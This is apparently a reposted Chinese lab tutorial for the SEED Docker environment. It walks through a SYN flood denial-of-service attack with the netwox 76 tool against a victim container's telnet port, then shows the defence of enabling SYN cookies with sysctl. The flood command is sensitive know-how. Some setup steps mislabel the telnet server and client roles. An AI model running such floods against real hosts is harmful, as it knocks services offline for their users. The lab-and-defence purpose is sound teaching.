docker模拟Dos_SYN Flood拒绝服务攻击 (Ubuntu20.04)

news2025/3/22 16:51:29

目录

✅ 一、实验环境准备(3 个终端)

👉 所以最终推荐做法:

2️⃣ 配置 seed-attacker 为攻击者,开启 telnet 服务:

3️⃣ 配置 victim-10.9.0.5 为受害者服务器,开启 telnet 客户端并监听:

4️⃣ user1 作为观察用户,连接 victim-10.9.0.5 服务器:

5️⃣ 使用 netwox 工具对 victim-10.9.0.5 进行拒绝服务攻击:

完整流程总结:


✅ 一、实验环境准备(3 个终端)

第一个终端:docker 容器(作为攻击者)//这里是使用了docker
第二个终端:docker 容器(作为 server / 被攻击者)
第三个终端:docker 容器(作为 user / 观察者)

✅ 正确的实验结构:

👉 具体做法:

1,VM,

2,SEED_Ubuntu20.04

3.  Labsetup.zip

下载Labsetup.zip并解压

解压Labsetup.zip

进入Labsetup目录打开终端构建容器

防止构建新容器冲突先把以前下载旧的容器关掉小技巧(以后你每次可以这么操作):

执行:

docker-compose down --remove-orphans
docker container prune -f
docker network prune -f
docker-compose up --build -d

docker ps再次查看当前运行的容器

使用如下命令创建并开启一个新容器(会立即进入新的交互界面)

docker run -it --name=user --privileged 镜像名称 /bin/bash

如果你想删掉容器

docker stop user user1 #停两个容器user user1
docker rm user user1 #删两个容器user user1
docker ps -a #查看所有容器
docker ps #查看运行容器

以最高权限进入容器 user1-10.9.0.6

1️⃣ 获取最高权限进入 seed-attacker, victim-10.9.0.5, 和 user1 终端:

在每个终端上,你可以使用 docker exec 命令来进入并获取最高权限。使用以下命令:

docker exec -it --privileged seed-attacker /bin/bash
docker exec -it --privileged victim-10.9.0.5 /bin/bash
docker exec -it --privileged user1-10.9.0.6 /bin/bash

2️⃣ 配置 seed-attacker 为攻击者,开启 telnet 服务:

进入 seed-attacker 容器后,使用以下命令安装并启动 telnet 服务:

# 更新系统
apt update && apt upgrade -y

# 安装 telnet
apt install telnetd -y

# 启动 telnet 服务
service telnetd start

# 查看 telnet 服务是否在运行
ps aux | grep telnet

此时,seed-attacker 将成为攻击者。

3️⃣ 配置 victim-10.9.0.5 为受害者服务器,开启 telnet 客户端并监听:

进入 victim-10.9.0.5 容器后,执行以下命令来启动 telnet 客户端并监听:

# 更新系统
apt update && apt upgrade -y

# 安装 telnet 客户端
apt install telnet -y

# 启动 telnet 服务监听 23 端口
telnetd -debug -l /bin/login //usr/sbin/in.telnetd -debug 23


# 查看 telnet 服务状态
ps aux | grep telnet

# 检查23端口是否在监听
netstat -tuln | grep :23

确保 telnet 服务已经在 23 端口运行。

4️⃣ user1 作为观察用户,连接 victim-10.9.0.5 服务器:

进入 user1-10.9.0.6 容器后,执行以下命令连接到 victim-10.9.0.5

# 使用 telnet 连接到 victim 服务器(假设 IP 为 10.9.0.5)
telnet 10.9.0.5

用户退出tlenet

5️⃣ 使用 netwox 工具对 victim-10.9.0.5 进行拒绝服务攻击:

seed-attacker 容器中,使用 netwox 工具进行拒绝服务攻击,命令如下:

# 安装 netwox(如果未安装)
apt update && apt install netwox -y

# 使用 netwox 工具对 victim 进行拒绝服务攻击
netwox 76 -i 10.9.0.5 -p 23

这会利用 netwox 76 发起针对 victim-10.9.0.5 服务器的 DoS 攻击,攻击目标是 telnet 服务(端口 23)。攻击成功后,victim-10.9.0.5 将无法接受新的连接。

👉观察

发起攻击后,用户再次tlenet 服务端

好了,已经无法服务

抓包看流量,流量瞬间登顶!

关闭攻击流量下降

👉完整流程总结:

  1. 进入所有三个终端并获取 --privileged 权限。
  2. seed-attacker 上启动 telnet 服务,作为攻击者。
  3. victim-10.9.0.5 上启动 telnet 客户端并监听,作为受害者。
  4. user1-10.9.0.6 上连接到 victim-10.9.0.5 以观察。
  5. 使用 netwox 工具从 seed-attacker 发起拒绝服务攻击。

👉SYN-Flooding 防御

1. 检查当前是否启用 SYN Cookie

首先,你需要登录到 victim-10.9.0.5 这个机器,然后检查当前系统是否启用了 SYN Cookie 机制。你可以使用以下命令:

sysctl -a | grep cookie

这将显示系统是否有关于 SYN Cookie 的设置。如果没有输出,说明默认设置没有显示 SYN Cookie。

2. 启用 SYN Cookie 机制

为了防止 SYN Flooding 攻击,首先需要开启 SYN Cookie。通过以下命令启用 SYN Cookie :

sysctl net.ipv4.tcp_syncookies=1

这将开启 SYN Cookie 机制,用于防御 SYN Flooding 攻击。

3. 验证 SYN Cookie 是否成功启用

启用 SYN Cookie 后,你可以再次运行以下命令,验证它是否生效:

sysctl -a | grep cookie

如果设置正确,应该能看到 net.ipv4.tcp_syncookies = 1

4. 再次发起 SYN Flooding 攻击

在另外一个容器( seed-attacker)上,再次使用 netwox 工具发起 SYN Flooding 攻击:

netwox 76 -i victim-ip -p 23

这里,victim-ipvictim-10.9.0.5 的 IP 地址,-p 23 表示攻击目标是 23 端口。

5. 监控结果

  • 启用 SYN Cookie 后,攻击应该被有效防御,victim-10.9.0.5 仍然能够正常响应其他连接请求,因为 SYN Cookie 会防止 SYN 请求消耗过多资源。
  • 关闭 SYN Cookie 后(通过执行 sysctl net.ipv4.tcp_syncookies=0),victim-10.9.0.5 将暴露于攻击之下,容易受到 SYN Flooding 攻击,可能导致服务崩溃或者无法响应。

6. 关闭 SYN Cookie 机制(可选)

如果你希望测试没有启用 SYN Cookie 时的情况,可以禁用 SYN Cookie:

sysctl net.ipv4.tcp_syncookies=0

然后,重新发起攻击,你会看到服务器无法承受大量的 SYN 请求,导致服务不可用。

7. 总结

  • SYN Cookie 原理:SYN Cookie 是一种让服务器不立即分配资源,而是在验证客户端请求是否合法时才分配资源的方法。这样可以防止攻击者占用过多的资源,从而有效缓解 SYN Flooding 攻击。
  • 启用 SYN Cookie 的效果:启用后,攻击者无法成功完成连接建立,服务器依然能保持正常工作。

通过启用 SYN Cookie,victim-10.9.0.5 就能够有效防止 SYN Flooding 攻击,保持其稳定性。

👉实验原理

其实很简单,就是我(攻击者)用工具在1s种内想web服务器发起几十万上百万个请求,网站服务器资源没有被释放一直被不断的占用占用,我占用完了,导致别人请求网站的时候没资源用了被服务器拒绝服务。这是就是所谓的dos攻击。

细一个的话,三次握手的过程,自己去看。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2319679.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于PySide6的CATIA自动化工具开发实战——空几何体批量清理系统

一、功能概述 本工具通过PySide6构建用户界面,结合PyCATIA库实现CATIA V5的自动化操作,提供两大核心功能: ​空几何体清理:智能识别并删除零件文档中的无内容几何体(Bodies)​空几何图形集清理&#xff1…

Spring 声明式事务应该怎么学?

1、引言 Spring 的声明式事务极大地方便了日常的事务相关代码编写,它的设计如此巧妙,以至于在使用中几乎感觉不到它的存在,只需要优雅地加一个 Transactional 注解,一切就都顺理成章地完成了! 毫不夸张地讲&#xff…

从 0 到 1 掌握鸿蒙 AudioRenderer 音频渲染:我的自学笔记与踩坑实录(API 14)

最近我在研究 HarmonyOS 音频开发。在音视频领域,鸿蒙的 AudioKit 框架提供了 AVPlayer 和 AudioRenderer 两种方案。AVPlayer 适合快速实现播放功能,而 AudioRenderer 允许更底层的音频处理,适合定制化需求。本文将以一个开发者的自学视角&a…

支持多系统多协议且可提速的下载工具

在网络下载需求日益多样的当下,一款好用的下载器能极大提升效率。今天就给大家介绍 AB Download Manager,它免费又开源,能适配 Windows 和 Linux 系统,带来超便捷的下载体验。 AB Download Manager 采用先进的多线程技术&#xf…

如何在 HTML 中创建一个有序列表和无序列表,它们的语义有何不同?

大白话如何在 HTML 中创建一个有序列表和无序列表,它们的语义有何不同? 1. HTML 中有序列表和无序列表的基本概念 在 HTML 里,列表是一种用来组织信息的方式。有序列表就是带有编号的列表,它可以让内容按照一定的顺序呈现&#…

【武汉·4月11日】Parasoft联合光庭信息研讨会|邀您共探AI赋能新机遇

Parasoft联合光庭信息Workshop邀您共探AI赋能新机遇 AI浪潮已至,你准备好了吗? 在智能网联汽车飞速发展的今天,AI技术正以前所未有的速度重塑行业生态。如何把握AI机遇,赋能企业创新? 4月11日,自动化软件…

闻所闻尽:穿透声音的寂静,照见生命的本真

在《楞严经》的梵音缭绕中,"闻所闻尽"四个字如晨钟暮鼓,叩击着每个修行者的心门。这个源自观世音菩萨耳根圆通法门的核心概念,既是佛门修行的次第指引,更蕴含着东方哲学对生命本质的终极叩问。当我们穿越时空的帷幕&…

VLAN综合实验报告

一、实验拓扑 网络拓扑结构包括三台交换机(LSW1、LSW2、LSW3)、一台路由器(AR1)以及六台PC(PC1-PC6)。交换机之间通过Trunk链路相连,交换机与PC、路由器通过Access或Hybrid链路连接。 二、实验…

Midjourney使用教程—2.作品修改

当您已生成第一张Midjourney图像的时候,接下来该做什么?了解我们用于修改图像的工具!使用 Midjourney 制作图像后,您的创意之旅就不会止步于此。您可以使用各种工具来修改和增强图像。 一、放大操作 Midjourney每次会根据提示词…

3.5 平滑滤波

请注意:笔记内容片面粗浅,请读者批判着阅读! 一、引言 平滑空间滤波是数字图像处理中用于降低噪声和模糊细节的核心技术,常用于图像预处理或特定场景下的视觉效果优化。其核心思想是通过邻域像素的加权平均或统计操作,抑制高频噪…

Sympy入门之微积分基本运算

Sympy是一个专注于符号数学计算的数学工具,使得用户可以轻松地进行复杂的符号运算,如求解方程、求导数、积分、级数展开、矩阵运算等。本文,我们将详细讲解Sympy在微积分运算中的应用。 获取方式 pip install -i https://mirrors.tuna.tsin…

Qemu-STM32(十):STM32F103开篇

简介 本系列博客主要描述了STM32F103的qemu模拟器实现,进行该项目的原因有两点: 作者在高铁上,想在STM32F103上验证一个软件框架时,如果此时掏出开发板,然后接一堆的线,旁边的人估计会投来异样的目光,特别…

在 ABAP 开发工具 (ADT-ABAP Development Tools) 中创建ABAP 项目

第一步:安装 SAP NetWeaver 的 ABAP 开发工具 (ADT) 开发工具下载地址:https://tools.hana.ondemand.com/#abap 也可以在SAP Development Tools下载工具页面直接跳转到对应公开课教程页面,按课程步骤下载eclipse解压安装即可,过程…

【架构】单体架构 vs 微服务架构:如何选择最适合你的技术方案?

文章目录 ⭐前言⭐一、架构设计的本质差异🌟1、代码与数据结构的对比🌟2、技术栈的灵活性 ⭐二、开发与维护的成本博弈🌟1、开发效率的阶段性差异🌟2、维护成本的隐形陷阱 ⭐三、部署与扩展的实战策略🌟1、部署模式的本…

【鸿蒙开发】Hi3861学习笔记- WIFI应用AP建立网络

00. 目录 文章目录 00. 目录01. LwIP简介02. AP模式简介03. API描述3.1 RegisterWifiEvent3.2 UnRegisterWifiEvent3.3 GetStationList3.4 GetSignalLevel3.5 EnableHotspot3.6 DisableHotspot3.7 SetHotspotConfig3.8 GetHotspotConfig3.9 IsHotspotActive 04. 硬件设计05. 模…

大模型的微调技术(高效微调原理篇)

背景 公司有需求做农业方向的大模型应用以及Agent助手,那么适配农业数据就非常重要。但众所周知,大模型的全量微调对算力资源要求巨大,在现实的限制条件下基本“玩不起”,那么高效微调技术就非常必要。为了更好地对微调技术选型和…

区间震荡指标

区间震荡指标的逻辑如下: 一、函数注解 1. Summation函数 功能: 计算给定价格序列Price的前Length个数据点的和,或在数据点数量超过Length时,计算滚动窗口内的价格和。 参数: Price(1):价格序列&#…

HCIE-SLAAC

文章目录 SLAAC 🏡作者主页:点击! 🤖Datacom专栏:点击! ⏰️创作时间:2025年03月21日10点58分 SLAAC 帮助设备发现本地直连链路相连的设备,并获取与地址自动配置的相关前缀和其他…

JavaScript | 爬虫逆向 | 掌握基础 | 01

一、摘要 实践是最好的导师 二、环境配置 在开始之前,需要确保你的计算机上已经安装了 Node.js。Node.js 是一个开源的、跨平台的 JavaScript 运行时环境,它允许你在服务器端运行 JavaScript 代码。 1. 下载 安装地址:https://nodejs.org…

力扣算法Hot100——128. 最长连续序列

题目要求时间复杂度为O(n),因此不能使用两次循环匹配。 首先使用 HashSet 去重,并且 HashSet 查找一个数的复杂度为O(1)外循环还是遍历set集合,里面一重循环需要添加判断,这样才不会达到O( n 2 n^2 n2)判断是否进入最长序列查找循…